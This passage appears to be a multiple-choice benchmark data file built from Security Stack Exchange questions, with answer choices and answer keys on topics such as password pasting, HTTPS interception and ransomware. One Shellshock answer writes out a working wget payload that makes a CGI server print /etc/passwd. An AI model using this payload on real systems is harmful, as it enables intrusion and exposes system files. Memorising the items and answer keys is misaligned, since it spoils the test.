As an additional defense you should restrict the allowed inputs. This should never ever restrict functionality. If there is a legitimate use case to have apostrophes in input, you should allow it. So you should allow single quotes in name fields, descriptions, passwords, but not in number fields, username fields, license plate fields. To block single quotes in all input is madness. This breaks functionality of the application and isn't even the correct solution...", "D": "Always have your slip with you! This is the golden rule of Red Teaming! If you don't have your Permission to Attack with you, it's like driving without a driver's license. That said, if you are caught during an engagement, I recommend the following: Present a forged Permission to Attack. This way, you can see if criminals could possibly trick a security guard to letting them do their thing with a fake Permission to Attack. Present the real Permission to Attack. If a guard has not bought your fake slip, then it's time to hand in the real slip. If..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/202902/is-single-quote-filtering-nonsense"} {"id": "cybersecurity_131106", "domain": "cybersecurity", "question_title": "Is there any reason to disable paste password on login?", "question_body": "Today I logged in to pay my cellphone bill, and I found that the site has disabled paste functionality in password field. I'm a webdev and I know how to fix this, but for regular user is REALLY annoying having to type a random password like o\\&$t~0WE'kL . I know that is normal to make users write the password when creating an account , but is there any reason to disable pasting passwords during login ?", "question_score": 238, "question_tags": ["passwords", "web-application", "password-management"], "choices": {"A": "As a starting point, we will consider that each elementary operation implies a minimal expense of energy; Landauer's principle sets that limit at 0.0178 eV, which is 2.85×10 -21 J. On the other hand, the total mass of the Solar system, if converted in its entirety to energy, would yield about 1.8×10 47 J (actually that's what you would get from the mass of the Sun, according to this page , but the Sun takes the Lion's share of the total mass of the Solar system). This implies a hard limit of about 6.32×10 68 elementary computations, which is about...", "B": "Your points are all good, and you are correct, but before we get outraged about it we need to remind ourselves how the linux security model works and what it's designed to protect. Remember that the Linux security model is designed with a multi-user terminal-only or SSH server in mind. Windows is designed with an end-user workstation in mind (but I've heard that the recent generation of Windows is more terminal-friendly). In particular, Linux convention does a better job of sandboxing apps into users, while in Windows anything important runs as System, while the Linux GUI (X Server) sucks at...", "C": "It's a leftover from the time when keypads didn't have the letters Q and Z . Security-wise, there's no reason. It's just because of old systems. To clarify: You used to be able to enter your password over the phone. Some phones didn't have the letters Q or Z, like the one on the picture below. Image courtesy: Bill Bradford on flickr.com Because of this, passwords including these characters were disallowed. They haven't changed this requirement for whatever reason: Legacy systems, poor documentation, or they just don't care.", "D": "There is no substantial security benefit to disallowing pasted passwords; on the contrary it is likely to weaken security by discouraging the use of password managers to generate and autofill randomized passwords. While some password managers are capable of overriding pasting restrictions, the point still stands that users should not be forced to type their password by hand. Excerpt from a relevant WIRED article : Websites, Please Stop Blocking Password Managers. It’s 2015 But what’s crazy is that, in 2015, some websites are intentionally disabling a feature that would allow you to use stronger passwords more easily—and many are doing..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/131106/is-there-any-reason-to-disable-paste-password-on-login"} {"id": "cybersecurity_191460", "domain": "cybersecurity", "question_title": "Why did I have to wave my hand in front of my ID card?", "question_body": "I recently had to authenticate myself online to use an internet-based service. The authentication process was done via video call with me holding my ID card in front of my laptop camera beside my face. I also had to wiggle the ID card so the person on the other end of the video call could see the security features that are printed on the ID card. Then the person asked me to wave my hand in front of the ID card, so that it was shortly fully covered by my hand several times. What is this method supposed to achieve or is this just security theater?", "question_score": 235, "question_tags": ["authentication", "security-theater"], "choices": {"A": "Disclaimer: I am the author, creator, owner and maintainer of Have I Been Pwned and the linked Pwned Passwords service. Let me clarify all the points raised here: The original purpose of HIBP was to enable people to discover where their email address had been exposed in data breaches. That remains the primary use case for the service today and there's almost 5B records in there to help people do that. I added Pwned Passwords in August last year after NIST released a bunch of advice about how to strengthen authentication models. Part of that advice included the following :...", "B": "Given that this identification was likely performed according to German law, this request was to conform with BaFin Circular 3/2017 which demands (in their non-binding English translation): Any substitution/manipulation of parts or elements of the identity document must be countered by suitable measures. To this end, the person to be identified must be asked, for example, to place a finger over security-relevant parts of the identity document (variable and determined at random by the system) and move one hand across their face. Using stills from these movements that are cut out and enlarged, the employee must verify that the identity...", "C": "The reason password expiration policies exist, is to mitigate the problems that would occur if an attacker acquired the password hashes of your system and were to break them. These policies also help minimize some of the risk associated with losing older backups to an attacker. For example, if an attacker were to break in and acquire your shadow password file, they could then start brute forcing the passwords without further accessing the system. Once they know your password, they can access the system and install whatever back doors they want unless you happen to have changed your password in...", "D": "The primary issue is that incorrect passwords have to be stored in a way that allows them to be later displayed to users. Which, as your dev pointed out, means they can't be cryptographically hashed first. The result is that you store them either as plaintext (bad) or encrypted (better but not normally recommended). The biggest risk is if this database of invalid passwords becomes accessible to attackers. Either they compromise the server, perform SQL injection, or retrieve it in some other way. Rather than cracking the primary passwords, which hopefully are strongly hashed and therefore tougher targets, they could..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/191460/why-did-i-have-to-wave-my-hand-in-front-of-my-id-card"} {"id": "cybersecurity_57909", "domain": "cybersecurity", "question_title": "Why would you not permit Q or Z in passwords?", "question_body": "Jetblue's password requirements specify that, among other stringent requirements: Cannot contain a Q or Z I can't fathom a logical reason for this, unless it were say, extremely common for the left side of keyboards to break, but then you wouldn't allow 'A' either :) What would be the reason for this security requirement?", "question_score": 232, "question_tags": ["passwords", "password-policy"], "choices": {"A": "It's a leftover from the time when keypads didn't have the letters Q and Z . Security-wise, there's no reason. It's just because of old systems. To clarify: You used to be able to enter your password over the phone. Some phones didn't have the letters Q or Z, like the one on the picture below. Image courtesy: Bill Bradford on flickr.com Because of this, passwords including these characters were disallowed. They haven't changed this requirement for whatever reason: Legacy systems, poor documentation, or they just don't care.", "B": "This combination is called a Secure attention key . The Windows kernel is \"wired\" to notify Winlogon and nobody else about this combination. In this way, when you press Ctrl + Alt + Del , you can be sure † that you're typing your password in the real login form and not some other fake process trying to steal your password. For example, an application which looks exactly like the windows login. In Linux, there's a loosely-defined equivalent which is Ctrl + Alt + Pause . However, it doesn't exactly do the same thing. It kills everything except where you're...", "C": "Your points are all good, and you are correct, but before we get outraged about it we need to remind ourselves how the linux security model works and what it's designed to protect. Remember that the Linux security model is designed with a multi-user terminal-only or SSH server in mind. Windows is designed with an end-user workstation in mind (but I've heard that the recent generation of Windows is more terminal-friendly). In particular, Linux convention does a better job of sandboxing apps into users, while in Windows anything important runs as System, while the Linux GUI (X Server) sucks at...", "D": "Yes, it is a security feature, and the purpose of the delay is to prevent attacks based around tricking the user into entering input to skip past the dialog by popping it up unexpectedly when the user is in the middle of inputting multiple key presses or mouse clicks in quick succession. The two examples that are given in this blog post explaining the feature are: A CAPTCHA that asks the user to type the word only . When they press n , a save dialog is popped up, and then the user will immediately press l and then y..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/57909/why-would-you-not-permit-q-or-z-in-passwords"} {"id": "cybersecurity_406", "domain": "cybersecurity", "question_title": "How should I distribute my public key?", "question_body": "I've just started to use GPG and created a public key. It is kind of pointless if no-one knows about it. How should I distribute it? Should I post it on my profile on Facebook and LinkedIn? How about my blog? What are the risks?", "question_score": 228, "question_tags": ["cryptography", "key-management", "pgp"], "choices": {"A": "As a starting point, we will consider that each elementary operation implies a minimal expense of energy; Landauer's principle sets that limit at 0.0178 eV, which is 2.85×10 -21 J. On the other hand, the total mass of the Solar system, if converted in its entirety to energy, would yield about 1.8×10 47 J (actually that's what you would get from the mass of the Sun, according to this page , but the Sun takes the Lion's share of the total mass of the Solar system). This implies a hard limit of about 6.32×10 68 elementary computations, which is about...", "B": "Is this normal for a pentest? Absolutely not . Best case scenario: they are performing \"social engineering\" penetration testing and want to see if you can be pressured into fulfilling a very dangerous action. Middle-case scenario, they don't know how to do their job. Worst-case scenario they are only pretending to be an auditing company and fulfilling their request will result in an expensive breach. In the case of a code-audit the company will obviously need access to source code. However I would expect a company who provides such services to already understand the sensitivity of such a need and...", "C": "Best way to distribute your key is by using one of the key servers that are available, such as keyserver.ubuntu.com , pgp.mit.edu or keyserver.pgp.com . If you use Seahorse (default key manager under Ubuntu), it automatically syncs your keys to one of these servers. Users can then look up your key using your email address or keyid. If you wanted to post your public key on LinkedIn or your blog, you can either upload the key to your server or just link to the page for your key on one of the keyservers above. Personally, I would upload it to...", "D": "Here are your possibilities, roughly in decreasing order of sophistication. Use an external Hardware Security Module. There is an entire industry of products designed for offloading security-sensitive operations to external devices. This doesn't solve the problem so much as relocate it, but it relocates it to device that is far more secure, so altogether it's a security win. If you're doing anything high-stakes, then this is almost certainly going to factor into your solution. Tie the encryption to your hardware. In theory HSMs do precisely this, only we tend to expect a bit more sophistication from an HSM than just..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/406/how-should-i-distribute-my-public-key"} {"id": "cybersecurity_55116", "domain": "cybersecurity", "question_title": "How exactly does the OpenSSL TLS heartbeat (Heartbleed) exploit work?", "question_body": "I've been hearing more about the OpenSSL Heartbleed attack , which exploits some flaw in the heartbeat step of TLS. If you haven't heard of it, it allows people to: Steal OpenSSL private keys Steal OpenSSL secondary keys Retrieve up to 64kb of memory from the affected server As a result, decrypt all traffic between the server and client(s) The commit to OpenSSL which fixes this issue is here I'm a bit unclear - everything I've read contains information about what one should do about it, but not how it works. So, how does this attack work?", "question_score": 224, "question_tags": ["openssl", "heartbleed"], "choices": {"A": "You are touching a sore point… Historically , computers were mainframes where a lot of distinct users launched sessions and process on the same physical machine. Unix-like systems (e.g. Linux), but also VMS and its relatives (and this family includes all Windows of the NT line, hence 2000, XP, Vista, 7, 8...), have been structured in order to support the mainframe model. Thus, the hardware provides privilege levels . A central piece of the operating system is the kernel which runs at the highest privilege level (yes, I know there are subtleties with regards to virtualization) and manages the privilege...", "B": "Disclaimer: I am the author, creator, owner and maintainer of Have I Been Pwned and the linked Pwned Passwords service. Let me clarify all the points raised here: The original purpose of HIBP was to enable people to discover where their email address had been exposed in data breaches. That remains the primary use case for the service today and there's almost 5B records in there to help people do that. I added Pwned Passwords in August last year after NIST released a bunch of advice about how to strengthen authentication models. Part of that advice included the following :...", "C": "It is the magic of public-key cryptography . Mathematics are involved. The asymmetric key exchange scheme which is easiest to understand is asymmetric encryption with RSA. Here is an oversimplified description: Let n be a big integer (say 300 digits); n is chosen such that it is a product of two prime numbers of similar sizes (let's call them p and q ). We will then compute things \"modulo n \": this means that whenever we add or multiply together two integers, we divide the result by n and we keep the remainder (which is between 0 and n-1 ,...", "D": "This is not a flaw in TLS; it is a simple memory safety bug in OpenSSL. The best explanations I've run across so far are the blog posts Diagnosis of the OpenSSL Heartbleed Bug by Sean Cassidy and Attack of the week: OpenSSL Heartbleed by Matthew Green. In short, Heartbeat allows one endpoint to go \"I'm sending you some data, echo it back to me\". You send both a length figure and the data itself. The length figure can be up to 64 KiB. Unfortunately, if you use the length figure to claim \"I'm sending 64 KiB of data\" (for..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/55116/how-exactly-does-the-openssl-tls-heartbeat-heartbleed-exploit-work"} {"id": "cybersecurity_8145", "domain": "cybersecurity", "question_title": "Does https prevent man in the middle attacks by proxy server?", "question_body": "There is a desktop client A connecting to website W in a https connection A --> W Somehow between A and W, there is a proxy G. A --> G --> W In this case, will G be able to get the certificate which A previously got from W? If G can get the certificate, does that mean that G will be able to decrypt the data?", "question_score": 222, "question_tags": ["tls", "certificates", "sniffer"], "choices": {"A": "The reason password expiration policies exist, is to mitigate the problems that would occur if an attacker acquired the password hashes of your system and were to break them. These policies also help minimize some of the risk associated with losing older backups to an attacker. For example, if an attacker were to break in and acquire your shadow password file, they could then start brute forcing the passwords without further accessing the system. Once they know your password, they can access the system and install whatever back doors they want unless you happen to have changed your password in...", "B": "Serious certification authorities use heavy procedures. At the core, the CA key will be stored in a Hardware Security Module ; but that's only part of the thing. The CA itself must be physically protected, which includes proactive and retrospective measures. Proactive measures are about preventing attacks from succeeding. For instance, the CA will be stored in a vault, with steel doors and guards. The machines themselves are locked, with several padlocks, and nobody holds more than one padlock key. Physical security is of paramount importance; the HSM is only the deepest layer. Retrospective measures are about recovering after an...", "C": "How does HTTPS work? HTTPS is based on public/private-key cryptography . This basically means that there is a key pair: The public key is used for encryption and the secret private key is required for decryption. A certificate is basically a public key with a label identifying the owner. So when your browser connects to an HTTPS server, the server will answer with its certificate. The browser checks if the certificate is valid : the owner information need to match the server name that the user requested. the certificate needs to be signed by a trusted certification authority. If one...", "D": "For the purposes of this discussion there are only a couple differences between web signing certificates: Extended vs standard validation (green bar). Number of bits in a certificate request (1024/2048/4096). Certificate chain. It is easier to set up certificates with a shorter trust chain but there are inexpensive certs out there with a direct or only one level deep chain. You can also get the larger 2048 and 4096 bit certs inexpensively. As long as you don't need the extended validation there is really no reason to go with the more expensive certificates. There is one specific benefit that going..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/8145/does-https-prevent-man-in-the-middle-attacks-by-proxy-server"} {"id": "cybersecurity_3936", "domain": "cybersecurity", "question_title": "Is a rand from /dev/urandom secure for a login key?", "question_body": "Lets say I want to create a cookie for a user. Would simply generating a 1024 bit string by using /dev/urandom , and checking if it already exists (looping until I get a unique one) suffice? Should I be generating the key based on something else? Is this prone to an exploit somehow?", "question_score": 221, "question_tags": ["cryptography", "web-application", "authentication", "linux", "random"], "choices": {"A": "The short answer is yes. The long answer is also yes. /dev/urandom yields data which is indistinguishable from true randomness, given existing technology. Getting \"better\" randomness than what /dev/urandom provides is meaningless, unless you are using one of the few \"information theoretic\" cryptographic algorithm, which is not your case (you would know it). The man page for urandom is somewhat misleading, arguably downright wrong, when it suggests that /dev/urandom may \"run out of entropy\" and /dev/random should be preferred; the only instant where /dev/urandom might imply a security issue due to low entropy is during the first moments of a...", "B": "Yup! If they are able to retrieve the password from the database, then they are clearly not following password storage best-practices. OWASP provides a good guide for how to do it properly: https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet Here's some ammunition you could use in that letter: You want me (the legal guardian of my child) to sign a form. You are using the action of logging into a website and clicking a button as a form of legal signature. How do you know it was actually me that logged in and clicked the button? How many people had access to the sheet with the...", "C": "You should use the maximum number of rounds which is tolerable, performance-wise, in your application. The number of rounds is a slowdown factor, which you use on the basis that under normal usage conditions, such a slowdown has negligible impact for you (the user will not see it, the extra CPU cost does not imply buying a bigger server, and so on). This heavily depends on the operational context: what machines are involved, how many user authentications per second... so there is no one-size-fits-all response. The wide picture goes thus: The time to verify a single password is v on...", "D": "Go with RSA. DSA is faster for signature generation but slower for validation, slower when encrypting but faster when decrypting and security can be considered equivalent compared to an RSA key of equal key length. That's the punch line, now some justification. The security of the RSA algorithm is based on the fact that factorization of large integers is known to be \"difficult\", whereas DSA security is based on the discrete logarithm problem. Today the fastest known algorithm for factoring large integers is the General Number Field Sieve , also the fastest algorithm to solve the discrete logarithm problem in..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/3936/is-a-rand-from-dev-urandom-secure-for-a-login-key"} {"id": "cybersecurity_136379", "domain": "cybersecurity", "question_title": "Is there any reason to not show users incorrectly entered passwords after a successful login?", "question_body": "Our client has come up with the requirement that in case the username in question has had multiple failed login attempts, the incorrectly entered password(s) must be shown once a successful login is performed. Correctly entered information, including previous passwords, will not be shown in any case. Our lead dev has told us it is technically possible by not hashing incorrect entries, but she is extremely uncomfortable with the feature and thus it has been put on hold while we brainstorm it out. The website in question is a broad mapping/GIS application that does not feature any monetary transactions whatsoever. Other login/authentication options include Google/LinkedIn/Twitter/facebook, so obviously no passwords to be stored there and handling that is primarily a UX issue. What security vulnerabilities come with implementing such a feature? Our client is not entirely without technical knowledge so a general explanation is enough. My apologies if the question is too broad or the answer very obvious.", "question_score": 221, "question_tags": ["authentication", "passwords"], "choices": {"A": "No, Docker containers are not more secure than a VM. Quoting Daniel Shapira : In 2017 alone, 434 linux kernel exploits were found , and as you have seen in this post, kernel exploits can be devastating for containerized environments. This is because containers share the same kernel as the host, thus trusting the built-in protection mechanisms alone isn’t sufficient. 1. Kernel exploits from a container If someone exploits a kernel bug inside a container, they exploited it on the host OS. If this exploit allows for code execution, it will be executed on the host OS, not inside the...", "B": "Yes, it is a security feature, and the purpose of the delay is to prevent attacks based around tricking the user into entering input to skip past the dialog by popping it up unexpectedly when the user is in the middle of inputting multiple key presses or mouse clicks in quick succession. The two examples that are given in this blog post explaining the feature are: A CAPTCHA that asks the user to type the word only . When they press n , a save dialog is popped up, and then the user will immediately press l and then y...", "C": "As a starting point, we will consider that each elementary operation implies a minimal expense of energy; Landauer's principle sets that limit at 0.0178 eV, which is 2.85×10 -21 J. On the other hand, the total mass of the Solar system, if converted in its entirety to energy, would yield about 1.8×10 47 J (actually that's what you would get from the mass of the Sun, according to this page , but the Sun takes the Lion's share of the total mass of the Solar system). This implies a hard limit of about 6.32×10 68 elementary computations, which is about...", "D": "The primary issue is that incorrect passwords have to be stored in a way that allows them to be later displayed to users. Which, as your dev pointed out, means they can't be cryptographically hashed first. The result is that you store them either as plaintext (bad) or encrypted (better but not normally recommended). The biggest risk is if this database of invalid passwords becomes accessible to attackers. Either they compromise the server, perform SQL injection, or retrieve it in some other way. Rather than cracking the primary passwords, which hopefully are strongly hashed and therefore tougher targets, they could..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/136379/is-there-any-reason-to-not-show-users-incorrectly-entered-passwords-after-a-succ"} {"id": "cybersecurity_68122", "domain": "cybersecurity", "question_title": "What is a specific example of how the Shellshock Bash bug could be exploited?", "question_body": "I read some articles ( article1 , article2 , article3 , article4 ) about the Shellshock Bash bug ( CVE-2014-6271 reported Sep 24, 2014) and have a general idea of what the vulnerability is and how it could be exploited. To better understand the implications of the bug, what would be a simple and specific example of an attack vector / scenario that could exploit the bug?", "question_score": 213, "question_tags": ["linux", "exploit", "known-vulnerabilities", "bash", "shellshock"], "choices": {"A": "It is the magic of public-key cryptography . Mathematics are involved. The asymmetric key exchange scheme which is easiest to understand is asymmetric encryption with RSA. Here is an oversimplified description: Let n be a big integer (say 300 digits); n is chosen such that it is a product of two prime numbers of similar sizes (let's call them p and q ). We will then compute things \"modulo n \": this means that whenever we add or multiply together two integers, we divide the result by n and we keep the remainder (which is between 0 and n-1 ,...", "B": "A very simple example would be a cgi, /var/www/cgi-bin/test.cgi: #!/bin/bash echo \"Content-type: text/plain\" echo echo echo \"Hi\" Then call it with wget to swap out the User Agent string. E.g. this will show the contents of /etc/passwd: wget -U \"() { test;};echo \\\"Content-type: text/plain\\\"; echo; echo; /bin/cat /etc/passwd\" http://10.248.2.15/cgi-bin/test.cgi To break it down: \"() { test;};echo \\\"Content-type: text/plain\\\"; echo; echo; /bin/cat /etc/passwd\" Looks like: () { test } echo \\\"Content-type: text/plain\\\" echo echo /bin/cat /etc/passwd The problem as I understand it is that while it's okay to define a function in an environment variable, bash is not supposed to execute...", "C": "The known_hosts file lets the client authenticate the server, to check that it isn't connecting to an impersonator. The authorized_keys file lets the server authenticate the user. Server authentication One of the first things that happens when the SSH connection is being established is that the server sends its public key to the client, and proves (thanks to public-key cryptography ) to the client that it knows the associated private key. This authenticates the server: if this part of the protocol is successful, the client knows that the server is who it claims it is. The client may check that...", "D": "One thought is to not allow form submission if there is not a value in the password box. Generally if they accidentally entered the password in the username, then there likely isn't going to be anything in the password dialog. It is worth noting that this does not have to be simply done client side, but could also be done on a server as long as the transport used is secure and the input is not logged until after passing a check about the password field not being empty."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/68122/what-is-a-specific-example-of-how-the-shellshock-bash-bug-could-be-exploited"} {"id": "cybersecurity_120748", "domain": "cybersecurity", "question_title": "What should you do if you catch encryption ransomware mid-operation?", "question_body": "You boot up your computer one day and while using it you notice that your drive is unusually busy. You check the System Monitor and notice that an unknown process is using the CPU and both reading and writing a lot to the drive. You immediately do a web search for the process name, and find that it's the name of a ransomware program. A news story also comes up, telling you about how a popular software distribution site was recently compromised and used to distribute this same ransomware. You recently installed a program from that site. Clearly, the ransomware is in the process of doing its dirty work. You have large amounts of important data on the internal drive, and no backup. There is also a substantial amount of non-important data on the drive. This question's title says \"mid\" operation, but in this example we have not yet investigated how far the ransomware might have actually gotten in its \"work.\" We can look at two situations: You want to preserve as much of your data as possible. However, paying any ransom is out of the question. If possible without risk, you want to know whether the important parts of your data are actually encrypted and overwritten. You also want to try and extract as much of your data as possible without making things worse. You would hate to pay a ransom. But certain parts of the data are so important to you that you would, ultimately, as a last resort, like to still be able to pay for a chance to get them back rather than risk losing any of them. Step by step, what is the ideal thing to do in situation 1 and 2? And why? Note: This is hypothetical. It hasn't actually happened to me. I always keep offsite backups of my important data and I've never been affected by ransomware.", "question_score": 210, "question_tags": ["encryption", "malware", "virus", "ransomware", "data-recovery"], "choices": {"A": "Plenty of places: BIOS / UEFI - BlackHat presentation (PDF) System Management Mode (SMM) or the Intel Management Engine (IME) - Phrack article . GPUs - Proof of concept rootkit on GitHub . Network cards - Recon 2011 presentation (PDF) A Quest To The Core (PDF) - a good presentation covering everything from BIOS to SMM to microcode. Modern hardware has a wide range of persistent data stores, usually used for firmware. It's far too expensive to ship a complex device like a GPU or network card and put the firmware on a mask ROM where it can't be updated,...", "B": "Hibernate the computer If the ransomware is encrypting the files, the key it is using for encryption is somewhere in memory. It would be preferable to get a memory dump, but you are unlikely to have the appropriate hardware for that readily available. Dumping just the right process should also work, but finding out which one may not be trivial (eg. the malicious code may be running inside explorer.exe ), and we need to dump it now . Hibernating the computer is a cheap way to get a memory image¹ Then it could be mounted read-only on a clean computer...", "C": "Yes encrypt, it is easy. Plus according to a 2014 Software Engineering Institute study 1 in 4 hacks was from someone inside the company with an average damage 50% higher than an external threat actor. Link to source: https://insights.sei.cmu.edu/insider-threat/2017/01/2016-us-state-of-cybercrime-highlights.html Although this is the 2017 version.", "D": "Diffie-Hellman is a way of generating a shared secret between two people in such a way that the secret can't be seen by observing the communication. That's an important distinction: You're not sharing information during the key exchange, you're creating a key together. This is particularly useful because you can use this technique to create an encryption key with someone, and then start encrypting your traffic with that key. And even if the traffic is recorded and later analyzed, there's absolutely no way to figure out what the key was, even though the exchanges that created it may have been..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/120748/what-should-you-do-if-you-catch-encryption-ransomware-mid-operation"} {"id": "cybersecurity_6141", "domain": "cybersecurity", "question_title": "Amount of simple operations that is safely out of reach for all humanity?", "question_body": "Cryptographic primitives usually assert some security level given as number of operations to mount an attack. Hash functions, for example, give different security levels for collision attacks, preimage attacks and second preimage attacks. From these, \"safe\" key sizes are derived for different primitives. There are many different recommendations for safe key sizes and many different means of estimating future capabilities in performing computation. For example, www.keylength.com has a lot of these recommendations combined. What I'm looking for, however, is the amount of simple operations that can be obviously seen as out of reach for all humanity for the foreseeable future - or actually, the lowest such value that is still believable. It is very obvious that 2^256 simple operations is something that will never be reached. It is also very obvious that 2^64 simple operations can be reached as it already has been. Many of the recommendations seem to calculate 2^128 as a number that would be safe for 30 years or more. So the value I am looking for is likely between 2^128 and 2^256. I am guessing 2^160 or 2^192 might be safely out of reach. But I want concrete arguments that can be easily reasoned about. I'd love to see arguments that are based on simple laws of physics or relations to concrete constants about the universe. For example, Landauer's principle could be used. Note: the actual simple operations used are not relevant here - they might be operations on a quantum computer, or hash invocations, or whatever.", "question_score": 208, "question_tags": ["cryptography", "research", "theory"], "choices": {"A": "In some circumstances, peppers can be helpful. As a typical example, let's say you're building a web application. It consists of webapp code (running in some webapp framework, ASP.NET MVC, Pyramid on Python, doesn't matter) and a SQL Database for storage. The webapp and SQL DB run on different physical servers . The most common attack against the database is a successful SQL Injection Attack. This kind of attack does not necessarily gain access to your webapp code, because the webapp runs on a different server & user-ID. You need to store passwords securely in the database, and come up...", "B": "As a starting point, we will consider that each elementary operation implies a minimal expense of energy; Landauer's principle sets that limit at 0.0178 eV, which is 2.85×10 -21 J. On the other hand, the total mass of the Solar system, if converted in its entirety to energy, would yield about 1.8×10 47 J (actually that's what you would get from the mass of the Sun, according to this page , but the Sun takes the Lion's share of the total mass of the Solar system). This implies a hard limit of about 6.32×10 68 elementary computations, which is about...", "C": "This attack is supposed to be presented 10 days from now, but my guess is that they use compression . SSL/TLS optionally supports data compression. In the ClientHello message, the client states the list of compression algorithms that it knows of, and the server responds, in the ServerHello , with the compression algorithm that will be used. Compression algorithms are specified by one-byte identifiers, and TLS 1.2 (RFC 5246) defines only the null compression method (i.e. no compression at all). Other documents specify compression methods, in particular RFC 3749 which defines compression method 1, based on DEFLATE , the LZ77-derivative...", "D": "Your example string ( WeJcFMQ/8+8QJ/w0hHh+0g== ) is Base64 encoding for a sequence of 16 bytes, which do not look like meaningful ASCII or UTF-8. If this is a value stored for password verification (i.e. not really an \"encrypted\" password, rather a \"hashed\" password) then this is probably the result of a hash function computed over the password; the one classical hash function with a 128-bit output is MD5. But it could be about anything. The \"normal\" way to know that is to look at the application code. Application code is incarnated in a tangible, fat way (executable files on a..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/6141/amount-of-simple-operations-that-is-safely-out-of-reach-for-all-humanity"} {"id": "cybersecurity_45170", "domain": "cybersecurity", "question_title": "How safe are password managers like LastPass?", "question_body": "I use LastPass to store and use my passwords, so I do not have duplicate passwords even if I have to register four to five different accounts a day, and the passwords are long. How safe are password manager services like LastPass? Don't they create a single point of failure? They are very attractive services for hackers. How can I trust the people behind these services and their security mechanisms? I imagine that a third party (government, company, etc.) would be very easy to 'bribe' and get all of my passwords. Are there any other solutions that offer similar services with similar ease of use?", "question_score": 206, "question_tags": ["passwords", "password-management"], "choices": {"A": "You are touching a sore point… Historically , computers were mainframes where a lot of distinct users launched sessions and process on the same physical machine. Unix-like systems (e.g. Linux), but also VMS and its relatives (and this family includes all Windows of the NT line, hence 2000, XP, Vista, 7, 8...), have been structured in order to support the mainframe model. Thus, the hardware provides privilege levels . A central piece of the operating system is the kernel which runs at the highest privilege level (yes, I know there are subtleties with regards to virtualization) and manages the privilege...", "B": "I interpret your question as: What's the motivation for someone to use an alien Facebook account to play poker and stock it with chips? It's not that strange if you think about it this way: As poker is a game where knowledge about the dealt cards gives you a significant edge in the game, you'd like to use sock puppets at a table to know more about the card distribution. Thus, using sock puppets that are valid, active - real - Facebook accounts are the only way to gather more information without being spotted easily by heuristics. Düsseldorf is where...", "C": "We should distinguish between offline password managers (like Password Safe ) and online password managers (like LastPass ). Offline password managers carry relatively little risk. It is true that the saved passwords are a single point of failure. But then, your computer is a single point of failure too. The most likely cause of a breach is getting malware on your computer. Without a password manager, malware can quietly sit and capture all the passwords you use. With a password manager, it's slightly worse, because once the malware has captured the master password, it gets all your passwords. But then,...", "D": "This is actually an interesting new field in infosec— reputation management . Employers, Law Enforcement and other government agencies, legal professionals, the press, criminals and others with an interest in your reputation will be observing all online activity associated with your real name. These \"interested parties\" (snoops) are usually terrible at separating professional and personal life, so you could be made to suffer for unpopular opinions, political or religious convictions, associates or group affiliations they consider \"unsavory\", and any behavior that can be interpreted in the most uncharitable light. (Teachers have been forced to resign for drinking wine responsibly while..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/45170/how-safe-are-password-managers-like-lastpass"} {"id": "cybersecurity_126932", "domain": "cybersecurity", "question_title": "How secure is 'blacking out' sensitive information using MS Paint?", "question_body": "I'm wondering if it's safe to black out sensitive information from a picture just by using Microsoft Paint ? Let's take in this scenario that EXIF data are stripped and there is no thumbnail picture, so that no data can be leaked in such a way. But I'm interested in whether there is any other attack, that can be used in order to retrieve hidden information from the picture?", "question_score": 204, "question_tags": ["forensics", "data-leakage", "image"], "choices": {"A": "This is actually an interesting new field in infosec— reputation management . Employers, Law Enforcement and other government agencies, legal professionals, the press, criminals and others with an interest in your reputation will be observing all online activity associated with your real name. These \"interested parties\" (snoops) are usually terrible at separating professional and personal life, so you could be made to suffer for unpopular opinions, political or religious convictions, associates or group affiliations they consider \"unsavory\", and any behavior that can be interpreted in the most uncharitable light. (Teachers have been forced to resign for drinking wine responsibly while...", "B": "You are touching a sore point… Historically , computers were mainframes where a lot of distinct users launched sessions and process on the same physical machine. Unix-like systems (e.g. Linux), but also VMS and its relatives (and this family includes all Windows of the NT line, hence 2000, XP, Vista, 7, 8...), have been structured in order to support the mainframe model. Thus, the hardware provides privilege levels . A central piece of the operating system is the kernel which runs at the highest privilege level (yes, I know there are subtleties with regards to virtualization) and manages the privilege...", "C": "As mentioned in the answers to a very similar question , scribbling over part of an image will destroy the original pixels, assuming that your editor doesn't store any layers or undo history in the saved image. (Paint doesn't.) There are some things to watch out for, though: The width of the blanked region places an upper bound on the length of the secret data The height of the region could tell attackers whether the text representation of the data has ascenders or descenders (like in the letters b and p ) Any spaces in the blanked region provide information...", "D": "TL;DR - You can store the salt in plaintext without any form of obfuscation or encryption, but don't just give it out to anyone who wants it. The reason we use salts is to stop precomputation attacks, such as rainbow tables . These attacks involve creating a database of hashes and their plaintexts, so that hashes can be searched for and immediately reversed into plaintext. For 